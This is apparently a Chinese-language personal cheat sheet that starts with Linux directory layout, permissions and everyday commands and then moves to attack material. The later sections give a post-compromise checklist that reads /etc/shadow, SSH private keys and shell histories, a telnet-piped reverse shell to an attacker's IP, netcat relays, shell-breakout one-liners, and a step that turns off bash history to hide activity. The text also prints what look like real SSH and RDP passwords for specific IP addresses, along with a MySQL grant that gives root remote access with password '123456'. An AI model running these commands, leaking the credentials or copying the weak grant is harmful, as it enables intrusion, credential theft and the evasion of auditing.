Linux 基础知识

概述

记录一下Linux的常用命令,方便查询。

持续更新中。

目录

基本目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/var (variable):与系统运作过程有关。
/var/log/ 日志
/dev 驱动
比要重要的档案有/dev/null, /dev/zero, /dev/tty, /dev/lp*, /dev/hd*, /dev/sd*等等
/usr (软件放置处)
/usr/local 系统管理员在本机自行安装自己下载的软件
/usr/share/doc 说明文件档
/opt (第三方协力软件)
/etc (配置文件)
/etc/init.d/:所有朋务的预设启动 script 都是放在这里的。
例如要启动或者关闭 iptables 的话:『 /etc/init.d/iptables start』、『/etc/init.d/iptables stop』
/boot (开机与核心档)
Linux kernel常用的档名为:vmlinuz,如果使用的是grub这个开机管理程序, 则还会存在/boot/grub/这个目录喔!
/bin 系统有很多放置执行文件的目录,但/bin比较特殊。
因为/bin放置的是在单人维护模式下还能够被操作的指令。在/bin底下的指令可以被root不一般账号所使用,主要有:cat, chmod, chown, date, mv, mkdir, cp, bash等等常用的指令。
/home 这是系统默认的用户家目录(home directory)。
/lib 系统的函式库
/media 可移除的装置啦! 包括软盘、光盘、DVD等等装置都暂时挂载在这。
/mnt 如果你想要暂时挂载某些额外的装置,一般建议你可以放置到这个目录中。
/srv 是一些网络朋务启动后,这些服务所需要取用的数据目录。
/tmp 暂时放置档案的地方。
/lost+found
这个目录是使用标准的ext2/ext3文件系统格式才会产生的一个目录,目的在二当文件系统发生错误时, 将一些遗失的片段放置到这个目录下。这个目录通常会在分割槽的最顶层存在, 例如你加装一颗硬盘于/disk中,那在这个系统下就会自动产生一个这样的目录『/disk/lost+found』
/proc
他放置的数据都是在内存当中, 例如系统核心、行程信息(process)、周边装置的状态及网络状态等等。因为这个目录下的数据都是在内存当中, 所以本身不占任何硬盘空间啊!比较重要的档案例如:/proc/cpuinfo, /proc/dma, /proc/interrupts, /proc/ioports, / proc/net/* 等等。
/sys
这个目录其实跟/proc非常类似,也是一个虚拟的文件系统,主要也是记录不核心相关的信息。 包括目前已加载的核心模块不核心侦测到的硬件装置信息等等。这个目录同样不占硬盘容量喔!
/sbin 重要的系统执行文件

常见路径

Linux 系统下的一些常见路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh

开机流程

简单的说,整个开机流程到操作系统之前的动作应该是这样的:

  1. BIOS:开机主动执行的韧体,会认识第一个可开机的装置;
  2. MBR:第一个可开机装置的第一个扇区内的主要启动记录区块,内吨开机管理程序;
  3. 开机管理程序(boot loader):一支可读叏核心档案来执行的软件;
  4. 核心档案:开始操作系统的功能…

文件属性

1
2
3
4
5
6
7
8
9
10
11
12
drwxr-xr-x 16 root root 4096 Aug 6 22:01 ImageMagick
[ 权限 ] [连结] [拥有者] [群组][档案容量] [ 修改日期 ] [ 文件名 ]
d rwx r-x r-x
[ 文件类型 ] [ 文件拥有者 ] [ 文件所属组 ] [ 其他人权限 ]
第一个字符代表这个档案是『目录、档案或链接文件等等』:
* 当为[ d ]则是目录,例如上表档名为『.gconf』的那一行;
* 当为[ - ]则是档案,例如上表档名为『install.log』那一行;
* 若是[ l ]则表示为连结档(link file);
* 若是[ b ]则表示为装置文件里面的可供储存的接口讴备(可随机存取装置);
* 若是[ c ]则表示为装置文件里面的串行端口讴备,例如键盘、鼠标(一次性读取装置)。

权限对目录的重要性

可读

表示具有读取目录结构列表的权限,所以当你具有读取(r)一个目录的权限时,表示你可以查询该目录下的文件名数据。 所以你就可以利用 ls 这个指令将该目录的内容列表显示出来!

可写

这个可写入的权限对目录来说,是很里不起起的! 因为他表示你具有移动该目录结构列表的权限,也就是底下这些权限:

  1. 建立新的档案与目录;
  2. 删除已经存在的档案与目录(不论该档案的权限为何!)
  3. 将已存在的档案或目录进行更名;
  4. 搬移该目录内的档案、目录位置。
    总之,目录的w权限就与该目录底下的文件名异动有关就对了啦!

执行

目录只是记录文件名而已,总不能拿来执行吧?
没错!目录不可以被执行,目录的x代表的是用户能否迚入该目录成为工作目录的用途!
所谓的工作目录(work directory)就是你目前所在的目录啦!举例来说,当你登入Linux时, 你所在的家目录就
是你当下的工作目录。而变换目录的命令是『cd』(change directory)啰!

工作目录对于指令的执行是非常重要的,如果你在某目录下不具有x的权限, 那么你就无法切换到该目录下,也就无法执行该目录下的任何指令,即使你具有该目录的r的权限。

文件名限制

在Linux底下,使用预设的Ext2/Ext3文件系统时,针对档案的档名长度限制为:

  • 单一档案或目录的最大容许文件名为 255 个字符;
  • 包函完整路径名称及目录 (/) 的完整档名为 4096 个字符。
    以及避免一些特殊字符比较好!例如底下这些:
    1
    * ? > < ; & ! [ ] | \ ' " ` ( ) { }

常用指令

基础指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
date 显示日期
cal 显示日历
bc 计算器
[Ctrl]-c 中断目前程序
[Ctrl]-d 取代exit的输入
info 指令说明
man 指令说明
whatis 指令说明
shutdown 关机
reboot 重启
halt 重启
poweroff 重启
init 系统运作的模式
init 0 关机
chgrp 改变档案所属群组
chown 改变档案拥有者
chmod 改变档案的权限, SUID, SGID, SBIT等等的特权
cd 变换目录
pwd 显示弼前目录
mkdir 建立一个新的目录
rmdir 删除一个空的目录
cp (复制档案或目录)
rm (移除档案或目录)
mv (移动档案与目录,或更名)
cat 由第一行开始显示档案内容
tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写!
nl 显示的时候,顺道输出行号!
more 一页一页的显示档案内容
less 不 more 类似,但是比 more 更好的是,他可以往前翻页!
head 叧看头几行
tail 叧看尾巳几行
od 以二迚制的方式读取档案内容!
touch 修改档案时间或建置新档
umask 档案预设权限
chattr (配置文件案隐藏属性)
lsattr (显示档案隐藏属性)
file 观察文件类型
which (寻找『执行档』)
whereis (寻找特定档案)
locate
这是因为 locate 寻找的数据是由『已建立的数据库 /var/lib/mlocate/』 里面大的数据所搜寻到的,所以不用直接在去硬盘弼中存取数据
find 不过由亍 find 在寻找数据得时后相当的操硬盘
tar
压 缩:tar -jcv -f filename.tar.bz2 要被压缩的档案或目录名称
 查 询:tar -jtv -f filename.tar.bz2
 解压缩:tar -jxv -f filename.tar.bz2 -C 欲解压缩的目录
type Bash shell 的内建命令
grep 搜索指定字符串
kill 杀死进程
ps 将某个时间点的程序运作情况撷取下来
top 动态观察程序的变化
pstree 查到程序相关性
free 观察内存使用情况
uname 查阅系统与核心相关信息
uptime 观察系统启动时间与工作负载
netstat 追踪网络或插槽文件
vmstat 侦测系统资源变化
lsof 列出被程序所开启的档案文件名
pidof :找出某支正在执行的程序的 PID

常用指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
# 系统管理
fdisk fdisk -l 查看系统分区信息
fdisk fdisk /dev/sdb 为一块新的SCSI硬盘进行分区
chown chown root /home 把/home的属主改成root用户
chgrp chgrp root /home 把/home的属组改成root组
useradd 创建一个新的用户
groupadd 组名 创建一个新的组
passwd 用户名 为用户创建密码
passwd -d用户名 删除用户密码也能登陆
passwd -S用户名 查询账号密码
usermod -l 新用户名 老用户名 为用户改名
userdel–r 用户名 删除用户一切
service [servicename] start/stop/restart 系统服务控制操作
/etc/init.d/[servicename] start/stop/restart 系统服务控制操作
# xshell上传下载:
sudo apt-get instal lrzsz
上传:rz -E
下载:sz
# ssh 22:
sudo apt-get install openssh-server
开启:sudo /etc/init.d/ssh restart
# mysql开启远程连接:
mysql -u root -p
use mysql
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
flush privileges;
# find 命令:
find .|xargs grep -ri "IBM" 查找目录下的所有文件中是否含有某个字符串,并且只打印出文件名
find /opt/ -name "MyCProgram.c" 用文件名查找文件
find /opt/ -iname "MyCProgram.c" 用文件名查找文件,忽略大小写
find /opt/ -maxdepth 3 -iname "passwd" 在opt目录下及其最大三层深度的子目录中查找passwd文件
find /opt/ -maxdepth 3 -iname "SBLF.php" -exec cat {} \ 查找文件并查看
find /opt/ -not -iname "MyCProgram.c" 相反匹配
find /opt/ -perm 755 -type f -exec ls -l {} \; 查找opt目录下755权限的文件并执行ls -l
find /opt/ -empty 查找所有的空文件
find /opt/lampp/htdocs/ -newer /opt/lampp/htdocs/Trojan/lqx.php 查找在指定文件时间之后做了修改的文件
# 远程链接
1).linux
ssh ubuntu@115.159.50.234 密码:8KX3OuQkBhDRvE7
2).windows
rdesktop 115.159.100.36 -u Administrator -p 3GCGc7OoRn0kpMY7
# 设置软连接
ln -s /usr/local/nginx/logs/access.log nginx_access.log
# make编译
make 编译
make install 安装编译好的源码包
# apt命令
apt-cache search package 搜索包
apt-cache show package 获取包的相关信息,如说明、大小、版本等
sudo apt-get install package 安装包
sudo apt-get install package - - reinstall 重新安装包
sudo apt-get -f install 修复安装”-f = –fix-missing”
sudo apt-get remove package 删除包
sudo apt-get remove package - - purge 删除包,包括删除配置文件等
sudo apt-get update 更新源
sudo apt-get upgrade 更新已安装的包
sudo apt-get dist-upgrade 升级系统
sudo apt-get dselect-upgrade 使用 dselect 升级
apt-cache depends package 了解使用依赖
apt-cache rdepends package 是查看该包被哪些包依赖
sudo apt-get build-dep package 安装相关的编译环境
apt-get source package 下载该包的源代码
sudo apt-get clean && sudo apt-get autoclean 清理无用的包
sudo apt-get check 检查是否有损坏的依赖
sudo apt-get clean 清理所有软件缓存(即缓存在/var/cache/apt/archives目录里的deb包)
sudo apt-get autoremove 删除系统不再使用的孤立软件
apt-get -qq –print-uris install ssh | cut -d\’ -f2 查看包在服务器上面的地址
# 清除所以删除包的残余配置文件
dpkg -l |grep ^rc|awk ‘{print $2}’ |tr ["\n"] [" “]|sudo xargs dpkg -P -
# 查看安装软件时下载包的临时存放目录
ls /var/cache/apt/archives
# 备份当前系统安装的所有包的列表
dpkg –get-selections | grep -v deinstall > ~/somefile
# 从上面备份的安装包的列表文件恢复所有包
dpkg –set-selections < ~/somefile sudo dselect
# 查看内核
uname -a
# 查看Ubuntu版本
cat /etc/issue
# 查看内核加载的模块
lsmod
# 查看PCI设备
lspci
# 查看USB设备
lsusb
# 查看网卡状态
sudo ethtool eth0
# 查看CPU信息
cat /proc/cpuinfo
# 显示当前硬件信息
lshw
# 查看硬盘的分区
sudo fdisk -l
# 查看IDE硬盘信息
sudo hdparm -i /dev/hda
# 查看STAT硬盘信息
sudo hdparm -I /dev/sda
sudo blktool /dev/sda id
# 如果你想在当前目录下 查找"hello,world!"字符串,可以这样:
grep -rn "hello,world!" *
* : 表示当前目录所有文件,也可以是某个文件名
-r 是递归查找
-n 是显示行号
-R 查找所有文件包含子目录
-i 忽略大小写
下面是一些有意思的命令行参数:
grep -i pattern files :不区分大小写地搜索。默认情况区分大小写,
grep -l pattern files :只列出匹配的文件名,
grep -L pattern files :列出不匹配的文件名,
grep -w pattern files :只匹配整个单词,而不是字符串的一部分(如匹配‘magic’,而不是‘magical’),
grep -C number pattern files :匹配的上下文分别显示[number]行,
grep pattern1 | pattern2 files :显示匹配 pattern1 或 pattern2 的行,
grep pattern1 files | grep pattern2 :显示既匹配 pattern1 又匹配 pattern2 的行。
这里还有些用于搜索的特殊符号:
\< 和 \> 分别标注单词的开始与结尾。
例如:
grep man * 会匹配 ‘Batman’、‘manic’、‘man’等,
grep '\<man' * 匹配‘manic’和‘man’,但不是‘Batman’,
grep '\<man\>' 只匹配‘man’,而不是‘Batman’或‘manic’等其他的字符串。
'^':指匹配的字符串在行首,
'$':指匹配的字符串在行尾,
xargs配合grep查找
find -type f -name '*.php'|xargs grep 'GroupRecord'
``
## 信息收集
``` bash
系统是什么版本?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
它的内核版本是什么?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
它的环境变量里有些什么?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
是否有台打印机?
lpstat -a
应用与服务
查看进程打开的文件
lsof -p
正在运行什么服务?什么样的服务具有什么用户权限?
ps aux
ps -ef
top
cat /etc/service
哪些服务具有root的权限?这些服务里你看起来那些有漏洞,进行再次检查!
ps aux | grep root
ps -ef | grep root
安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
Service设置,有任何的错误配置吗?是否有任何(脆弱的)的插件?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/
主机上有哪些工作计划?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
主机上可能有哪些纯文本用户名和密码?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
通信与网络
NIC(s),系统有哪些?它是连接到哪一个网络?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
其他用户主机与系统的通信?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
缓存?IP和/或MAC地址?
arp -e
route
/sbin/route -nee
数据包可能嗅探吗?可以看出什么?监听流量
$ tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
$ tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
你如何get一个shell?你如何与系统进行交互?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444 # Attacker. 输入 (命令)
nc -lvp 4445 # Attacker. 输出(结果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用 攻击者的IP!
如何端口转发?(端口重定向)
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
# ssh
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
#mknod
# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod
backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc
localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
建立隧道可能吗?本地,远程发送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
mm信息和用户
你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?
id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E "^#" /etc/passwd | awk -F: &#039;$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}&#039; /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
可以找到什么敏感文件?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
什么有趣的文件在home/directorie(S)里?如果有权限访问
ls -ahlR /root/
ls -ahlR /home/
是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
用户做过什么?是否有任何密码呢?他们有没有编辑什么?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
可以找到什么样的用户信息
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
private-key 信息能否被发现?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
文件系统
哪些用户可以写配置文件在/ etc /?能够重新配置服务?
ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/ var /有什么可以发现?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
网站上的任何隐藏配置/文件?配置文件与数据库信息?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
有什么在日志文件里?(什么能够帮助到“本地文件包含”?)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
#
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,
mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)
如果命令限制,你可以打出哪些突破它的限制?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
如何安装文件系统?
mount
df -h
是否有挂载的文件系统?
cat /etc/fstab
什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #
Looks in &#039;common&#039; places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search)
#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permission
denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null
在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders
Any "problem" files?可写的的,“没有使用"的文件
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
准备和查找漏洞利用代码
安装了什么开发工具/语言/支持?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
如何上传文件?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

安全检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 查看指定端口的pid
netstat -antup | grep 5001
# 杀死指定pid 进程
kill -9 12312
# 创建新用户 orleven
$ useradd orleven
# 新用户允许使用sudo
$ chmod u+w /etc/sudoers
$ vi /etc/sudoers
找到这行 root ALL=(ALL:ALL) ALL,在他下面添加xxx ALL=(ALL) ALL (这里的xxx是你的用户名)
$ chmod u-w /etc/sudoers
# 生产机器禁止ROOT远程SSH登录:
$ vi /etc/ssh/sshd_config
PermitRootLogin no
$ service sshd restart
# 设置允许远程登录
$ vi /etc/ssh/sshd_config
AllowUsers orleven
$ service sshd restart
# 系统怎么打内核,操作系统,所有应用程序,插件和Web服务的最新补丁?
$ apt-get update && apt-get upgrade
$ yum update
# 查看进程:
ps -e | grep ssh
ps -e -o '%C : %p : %z : %a'|sort -k5 -nr 按内存从大到小排列
ps -e -o '%C : %p : %z : %a'|sort -nr 按cpu利用率从大到小排列

这里附上一个网传的Linux安全检查脚本

清除日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
登录后执行下面命令,不记录历史命令(.bash_history)
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
